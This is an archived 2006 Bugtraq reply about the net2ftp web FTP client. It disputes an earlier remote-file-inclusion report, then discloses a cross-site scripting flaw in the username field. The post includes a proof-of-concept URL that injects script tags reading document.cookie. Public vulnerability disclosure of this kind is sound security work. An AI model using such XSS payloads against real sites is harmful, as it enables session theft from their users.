Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: net2ftp: a web based FTP client :) <= Remote File Inclusion
From: securfrog () gmail com
Date: 2 Oct 2006 16:13:28 -0000

" + Solution:


+ Add this line to your php-file:


+


+ $application_rootdir ="user/dir" //Your root path  "



===> 0-o

i guess you should learn some PHP before posting on bugtracks ...


" net2ftp: a web based FTP client :) <= Remote File Inclusion  "


===> you should try your PoC before posting , there's no remote file include in that code ...

--------------------------------------------------

btw that there's some XSS post in username

and bunch of full path disclosure ...

here's the PoC :

http://www.example.com/index.php?state=browse&state2=main&ftpserver=blabla&ftpserverport=21&username=</textarea>'"><script>alert(document.cookie)</script>;</textarea>'"><script>alert(document.cookie)</script>&password=haaaa&directory=wop&language=en&skin=india&ftpmode=binary&Login=Login


  By Date           By Thread  

Current thread:
  • Re: net2ftp: a web based FTP client :) <= Remote File Inclusion securfrog (Oct 02)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]